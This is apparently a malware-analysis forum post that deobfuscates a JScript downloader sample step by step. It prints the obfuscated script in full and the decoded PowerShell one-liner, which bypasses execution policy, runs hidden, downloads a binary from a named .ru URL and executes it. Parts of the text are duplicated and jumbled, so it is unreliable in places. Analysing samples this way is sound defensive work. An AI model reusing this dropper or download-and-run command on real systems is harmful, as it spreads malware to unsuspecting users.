- May 14, 2016
- 1,597
From https://malwaretips.com/threads/19-10-2016-11.64615/
Thanks to @Der.Reisende
Why this sample ?
- Seems complicated, but in reality, very easy to understand : only with notepad++
- 3/53 When posting
Antivirus scan for bed76304c264b1c8851143ca7dd63f406b823b8a3bcff4b7c8a959d37053a714 at 2016-10-19 15:39:42 UTC - VirusTotal
2) Analysis :
The part on the spoiler seems difficult to understand, but it is really easy to "defeat it".
2-2) Let's see the the way it works, from the beginning :
3) Explanation of the command :
URL :
Thanks to @Der.Reisende
Why this sample ?
- Seems complicated, but in reality, very easy to understand : only with notepad++
- 3/53 When posting
Antivirus scan for bed76304c264b1c8851143ca7dd63f406b823b8a3bcff4b7c8a959d37053a714 at 2016-10-19 15:39:42 UTC - VirusTotal
1) What it looks like :function ybegbekhe() {
var tyfjepfef = /ujixxu/gi;
function gicdoqnodhi() {
var hyqzuski = /exozett/gi;
var axucw = 'c';
var ujcilf = 'e';
var hifenmuhz = 'replace';
var lmesinpuhc = 1;
var fqopwytlu = 0;
var wlypnapidi = typeof document;
var ehigym = 0;
var unynz = 'ike';
var zcewobpe = null;
var ymidv = 'a';
function astyjyfog() {
var arxugti = '75497';
var nlany = '^';
var exmademojv = null;
function ymmakybkohn() {
var odacik = /ejewca/gi;
var etuqmowuh = undefined;
var jzehykli = /sipxuqm/gi;
var karuvysse = 'unissah';
function xaskyfuz() {
function taro() {
function eqymfeg() {
function atseqne() {
function yvedy() {
if (xaskyfuz() === 90) {
var fewavd = typeof undefined;
topofawte = "lsonorin" + 11.926;
var edfyvo = 10 + 'mavetzaqh';
var jadizdopwi = "erti" + 96;
var evimoss = 59.2507;
var kyqvolvid = '47409';
var tmatqavyra = 5.008;
ehactepty = tmatqavyra + kyqvolvid;
ehactepty = ehactepty + 3;
}
return undefined;
}var tyfjepfef = /ujixxu/gi;
function gicdoqnodhi() {
var sviladt = false;
return sviladt;
}return sviladt;
var hyqzuski = /exozett/gi;
var axucw = 'c';
var ujcilf = 'e';
var hifenmuhz = 'replace';
var lmesinpuhc = 1;
var fqopwytlu = 0;
var wlypnapidi = typeof document;
var ehigym = 0;
var unynz = 'ike';
var zcewobpe = null;
var ymidv = 'a';
function astyjyfog() {
return null;
}var arxugti = '75497';
var nlany = '^';
var exmademojv = null;
function ymmakybkohn() {
return null;
}var odacik = /ejewca/gi;
var etuqmowuh = undefined;
var jzehykli = /sipxuqm/gi;
var karuvysse = 'unissah';
function xaskyfuz() {
return null;
}function taro() {
var bpitdarqa = null;
return bpitdarqa;
}return bpitdarqa;
function eqymfeg() {
return 77;
}function atseqne() {
var atepoho = undefined;
return atepoho;
}return atepoho;
function yvedy() {
var jaqinod = "ejewcamd.exozettxexozett /ejewca poujixxuWujixxuexozettujixxuRshexozettLujixxuL.exozettXexozett ujixxu-ujixxuexozettxexozettejewcaujixxuutIoujixxunPoujixxuLIejewcaY ujixxubypsipxuqmujixxusujixxuS -ujixxunujixxuoPrujixxuoFiujixxuLexozett -WinujixxudOWsujixxutujixxuYujixxulexozett hujixxuiujixxuDDujixxuexozettNujixxu ujixxu(nexozettW-oBJexozettujixxuejewcaujixxutujixxu ujixxuSysujixxutexozettujixxuMujixxu.nexozettujixxuTujixxu.ujixxuWexozettujixxubujixxuejewcaLIexozettNTujixxu)ujixxu.doWNujixxulOujixxusipxuqmujixxudFujixxuIujixxulujixxuexozett('http: //lovexozett.nexozettwsexozettxgirls.ru/js/boxun4.bin','%sipxuqmPPDsipxuqmTsipxuqm%.exozettxexozett');STsipxuqmRt-PujixxurujixxuoujixxuejewcaexozettSujixxuSujixxu ujixxu%sipxuqmpPdsipxuqmtsipxuqm%.exozettXexozett";
var ekihvub = jaqinod[hifenmuhz](tyfjepfef, nlany)[hifenmuhz](odacik, axucw)[hifenmuhz](hyqzuski, ujcilf)[hifenmuhz](jzehykli, ymidv);
return ekihvub;
}var ekihvub = jaqinod[hifenmuhz](tyfjepfef, nlany)[hifenmuhz](odacik, axucw)[hifenmuhz](hyqzuski, ujcilf)[hifenmuhz](jzehykli, ymidv);
return ekihvub;
if (xaskyfuz() === 90) {
var ispegibnys = 2.248;
if (ispegibnys === 10.248) {
if (unynz === "ike") {
if (zcewobpe == 0) {
if (astyjyfog() == 'enebo') {
} else {if (ispegibnys === 10.248) {
var uhqavzobim = '88685';
var relifr = "76930";
var ehujets = 822;
var objymtudyms = ehujets + relifr;
objymtudyms = 'epupad' + objymtudyms;
hazufzyhbu = 36;
var qtynal = karuvysse + hazufzyhbu;
qtynal = qtynal + 41.73;
var nafxyjwypqy = typeof null;
var eduzsikj = 'msynro' + 42;
var iguporfucf = "ewzo";
var lzafhig = '29737' + 431;
}var relifr = "76930";
var ehujets = 822;
var objymtudyms = ehujets + relifr;
objymtudyms = 'epupad' + objymtudyms;
hazufzyhbu = 36;
var qtynal = karuvysse + hazufzyhbu;
qtynal = qtynal + 41.73;
var nafxyjwypqy = typeof null;
var eduzsikj = 'msynro' + 42;
var iguporfucf = "ewzo";
var lzafhig = '29737' + 431;
if (unynz === "ike") {
var aqqoku = typeof null;
var ranudde = 'mnysde';
var uhnicjomsesg = 97;
var yvcuviz = ranudde + uhnicjomsesg;
var ezyri = typeof 23.7059;
var abujuk = typeof 1.5;
var didkiraca = 47.945 + 'jgyk';
}var ranudde = 'mnysde';
var uhnicjomsesg = 97;
var yvcuviz = ranudde + uhnicjomsesg;
var ezyri = typeof 23.7059;
var abujuk = typeof 1.5;
var didkiraca = 47.945 + 'jgyk';
if (zcewobpe == 0) {
if (typeof ymmakybkohn() == 'object') {
var zyhotb = 41 + "24653";
qjatofyv = "acjexu";
bojyhogi = 24.8;
var ixaggatga = bojyhogi + qjatofyv;
}
}var zyhotb = 41 + "24653";
qjatofyv = "acjexu";
bojyhogi = 24.8;
var ixaggatga = bojyhogi + qjatofyv;
}
if (astyjyfog() == 'enebo') {
gmaser = 6 + "11463";
var sqomatoxh = typeof 1;
var verajej = 6;
var gawduhe = 'edizx';
var ymopiwolb = "opyzvo" + 23.505;
}var sqomatoxh = typeof 1;
var verajej = 6;
var gawduhe = 'edizx';
var ymopiwolb = "opyzvo" + 23.505;
var togultyku = new ActiveXObject("WScript.Shell");
switch (eqymfeg()) {
case '74904':
case 77:
var jnyten = 119.6088 + "cferm";
break;
}switch (eqymfeg()) {
case '74904':
if (etuqmowuh == 168) {
var bqylholl = null;
}
break;var bqylholl = null;
}
case 77:
if (wlypnapidi == "undefined") {
switch (atseqne()) {
case null:
var jzolypif = "ymuho";
if (jzolypif == null) {
if (typeof lmesinpuhc == 'number') {
break;
case true:
if (typeof lmesinpuhc == 'number') {
break;
case 'orjop':
if (typeof lmesinpuhc == 'number') {
break;
case false:
}switch (atseqne()) {
case null:
var jzolypif = "ymuho";
if (jzolypif == null) {
if (ybegbekhe() === 846) {
}var vurpoqwigu = "abide";
vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
}vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
if (typeof lmesinpuhc == 'number') {
var anedduzqe = 82 + "mykjite";
var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
}var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
break;
case true:
var jzolypif = "ymuho";
if (jzolypif == null) {
}if (jzolypif == null) {
if (ybegbekhe() === 846) {
}var vurpoqwigu = "abide";
vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
if (typeof lmesinpuhc == 'number') {
var anedduzqe = 82 + "mykjite";
var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
}var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
break;
case 'orjop':
var jzolypif = "ymuho";
if (jzolypif == null) {
}if (jzolypif == null) {
if (ybegbekhe() === 846) {
var vurpoqwigu = "abide";
vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
}var vurpoqwigu = "abide";
vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
if (typeof lmesinpuhc == 'number') {
var anedduzqe = 82 + "mykjite";
var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
}var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
break;
case false:
var jzolypif = "ymuho";
if (jzolypif == null) {
if (typeof lmesinpuhc == 'number') {
break;
case undefined:if (jzolypif == null) {
if (ybegbekhe() === 846) {
var vurpoqwigu = "abide";
vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
}
}var vurpoqwigu = "abide";
vurpoqwigu = 5;
var ivuzudxadd = 'riruvq';
}
if (typeof lmesinpuhc == 'number') {
var anedduzqe = 82 + "mykjite";
var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
}var ibrura = typeof undefined;
var bnufolqojri = 67.81 + "15488";
cazbojwis = 143.0458 + '26086';
var apneverco = typeof false;
break;
togultyku.run(yvedy(), fqopwytlu);
break;
}break;
var jnyten = 119.6088 + "cferm";
break;
var fewavd = typeof undefined;
topofawte = "lsonorin" + 11.926;
var edfyvo = 10 + 'mavetzaqh';
var jadizdopwi = "erti" + 96;
var evimoss = 59.2507;
var kyqvolvid = '47409';
var tmatqavyra = 5.008;
ehactepty = tmatqavyra + kyqvolvid;
ehactepty = ehactepty + 3;
}
2) Analysis :
The part on the spoiler seems difficult to understand, but it is really easy to "defeat it".
2-1) First, a quick look at the script :case undefined:
We can see in the script :
togultyku.run(yvedy(), fqopwytlu);
break;
=> oh, a run part We can see in the script :
var togultyku = new ActiveXObject("WScript.Shell");
Let's find the both parameters :
- var fqopwytlu = 0;
- yvedy() :
- yvedy() :
function yvedy() {
This function returns ekihvub, a value that uses jaqinod, a string with a "strange" content
var ekihvub = jaqinod[hifenmuhz](tyfjepfef, nlany)[hifenmuhz](odacik, axucw)[hifenmuhz](hyqzuski, ujcilf)[hifenmuhz](jzehykli, ymidv);
This is some string manipulations.
With the var names, and the content of the script, the real values are easy to be retrieved :
var tyfjepfef = /ujixxu/gi;
var nlany = '^';
var odacik = /ejewca/gi;
var axucw = 'c';
var hyqzuski = /exozett/gi;
var ujcilf = 'e';
var jzehykli = /sipxuqm/gi;
var ymidv = 'a';
var etuqmowuh = undefined;
Result :
var jaqinod = "ejewcamd.exozettxexozett /ejewca poujixxuWujixxuexozettujixxuRshexozettLujixxuL.exozettXexozett ujixxu-ujixxuexozettxexozettejewcaujixxuutIoujixxunPoujixxuLIejewcaY ujixxubypsipxuqmujixxusujixxuS -ujixxunujixxuoPrujixxuoFiujixxuLexozett -WinujixxudOWsujixxutujixxuYujixxulexozett hujixxuiujixxuDDujixxuexozettNujixxu ujixxu(nexozettW-oBJexozettujixxuejewcaujixxutujixxu ujixxuSysujixxutexozettujixxuMujixxu.nexozettujixxuTujixxu.ujixxuWexozettujixxubujixxuejewcaLIexozettNTujixxu)ujixxu.doWNujixxulOujixxusipxuqmujixxudFujixxuIujixxulujixxuexozett('http://lovexozett.nexozettwsexozett...ixxurujixxuoujixxuejewcaexozettSujixxuSujixxu ujixxu%sipxuqmpPdsipxuqmtsipxuqm%.exozettXexozett";
var ekihvub = jaqinod[hifenmuhz](tyfjepfef, nlany)[hifenmuhz](odacik, axucw)[hifenmuhz](hyqzuski, ujcilf)[hifenmuhz](jzehykli, ymidv);
return ekihvub;
}var ekihvub = jaqinod[hifenmuhz](tyfjepfef, nlany)[hifenmuhz](odacik, axucw)[hifenmuhz](hyqzuski, ujcilf)[hifenmuhz](jzehykli, ymidv);
return ekihvub;
This function returns ekihvub, a value that uses jaqinod, a string with a "strange" content
var ekihvub = jaqinod[hifenmuhz](tyfjepfef, nlany)[hifenmuhz](odacik, axucw)[hifenmuhz](hyqzuski, ujcilf)[hifenmuhz](jzehykli, ymidv);
This is some string manipulations.
With the var names, and the content of the script, the real values are easy to be retrieved :
hifenmuhz = 'replace';var tyfjepfef = /ujixxu/gi;
var nlany = '^';
var odacik = /ejewca/gi;
var axucw = 'c';
var hyqzuski = /exozett/gi;
var ujcilf = 'e';
var jzehykli = /sipxuqm/gi;
var ymidv = 'a';
var etuqmowuh = undefined;
var ekihvub = jaqinod['replace'](/ujixxu/gi, '^')['replace'](/ejewca/gi, 'c')['replace'](/exozett/gi, 'e')['replace'](/sipxuqm/gi, 'a');
So, a multiple "replace" is used, to clean the famous obfuscated string on jaqinodResult :
"cmd.exe /c po^W^e^RsheL^L.eXe ^-^exec^utIo^nPo^LIcY ^bypa^s^S -^n^oPr^oFi^Le -Win^dOWs^t^Y^le h^i^DD^eN^ ^(neW-oBJe^c^t^ ^Sys^te^M^.ne^T^.^We^b^cLIeNT^)"
it's easy to understand :
"cmd.exe /cpoWeRsheLL.eXe -executIonPoLIcY bypasS -noProFiLe -WindOWstYle hiDDeN (neW-oBJect SysteM.neT.WebcLIeNT).doWNlOadFIle('http ://love.newsexgirls.ru/js/boxun4.bin','%APPDATA%\exe');STaRt-ProceSS %APPDATA%\eXe "
We can see on the content that functions declaration and vars are mixed.
We will follow the real "way" :
var tyfjepfef = /ujixxu/gi;
var hyqzuski = /exozett/gi;
var axucw = 'c';
var ujcilf = 'e';
var hifenmuhz = 'replace';
var lmesinpuhc = 1;
var fqopwytlu = 0;
var wlypnapidi = typeof document;
var ehigym = 0;
var unynz = 'ike';
var zcewobpe = null;
var ymidv = 'a';
var arxugti = '75497';
var nlany = '^';
var exmademojv = null;
var odacik = /ejewca/gi;
var etuqmowuh = undefined;
var jzehykli = /sipxuqm/gi;
var karuvysse = 'unissah';
if (xaskyfuz() === 90) {
var ispegibnys = 2.248;
if (ispegibnys === 10.248) {
else
We will follow the real "way" :
var tyfjepfef = /ujixxu/gi;
var hyqzuski = /exozett/gi;
var axucw = 'c';
var ujcilf = 'e';
var hifenmuhz = 'replace';
var lmesinpuhc = 1;
var fqopwytlu = 0;
var wlypnapidi = typeof document;
var ehigym = 0;
var unynz = 'ike';
var zcewobpe = null;
var ymidv = 'a';
var arxugti = '75497';
var nlany = '^';
var exmademojv = null;
var odacik = /ejewca/gi;
var etuqmowuh = undefined;
var jzehykli = /sipxuqm/gi;
var karuvysse = 'unissah';
if (xaskyfuz() === 90) {
=> function xaskyfuz() {
return null;
}else
var togultyku = new ActiveXObject("WScript.Shell"); IMPORTANT !
switch (eqymfeg()) {
case '74904':
if (etuqmowuh == 168) {
var bqylholl = null;}
break;
case 77:
if (wlypnapidi == "undefined") {
switch (atseqne()) {
...
here, multiple case:
...
...
case undefined:
}
switch (eqymfeg()) {
=> function eqymfeg() {
return 77;
}return 77;
case 77:
if (wlypnapidi == "undefined") {
=> var wlypnapidi = typeof document;
=> always "undefined" if not running on a Browser !
=> always "undefined" if not running on a Browser !
=> function atseqne() {
case null:...var atepoho = undefined;
return atepoho;
}return atepoho;
...
here, multiple case:
...
...
case undefined:
togultyku.run(yvedy(), fqopwytlu);
=> the function we have seen on "2-1) First, a quick look at the script :"
=> run :
break;=> the function we have seen on "2-1) First, a quick look at the script :"
=> run :
"cmd.exe /c po^W^e^RsheL^L.eXe ^-^exec^utIo^nPo^LIcY ^bypa^s^S -^n^oPr^oFi^Le -Win^dOWs^t^Y^le h^i^DD^eN^ ^(neW-oBJe^c^t^ ^Sys^te^M^.ne^T^.^We^b^cLIeNT^)"
3) Explanation of the command :
- powershell.exe is run and understand the real content :
poWeRsheLL.eXe -executIonPoLIcY bypasS -noProFiLe -WindOWstYle hiDDeN (neW-oBJect SysteM.neT.WebcLIeNT).doWNlOadFIle('http ://love.newsexgirls.ru/js/boxun4.bin','%APPDATA%\exe');STaRt-ProceSS %APPDATA%\eXe
- object System.net.Webclient is created
- its method downloadFile(parameter1, parameter2) is used
- its method downloadFile(parameter1, parameter2) is used
- parameter1 : URL from where to download the payload
- parameter2 : the path + name to be use for the Payload
- Start-Process %APPDATA%\eXe : run the Payload- parameter2 : the path + name to be use for the Payload
URL :
http ://love.newsexgirls.ru/js/boxun4.bin
END
----------------------------------------------------------------------------------------------------------------------
You want to see an elaborate script ?! Don't forget this one (see the both parts) :
https://malwaretips.com/threads/deo...-oct-17-elaborate-methods-used-updated.64575/
https://malwaretips.com/threads/deo...-oct-17-elaborate-methods-used-updated.64575/
Last edited: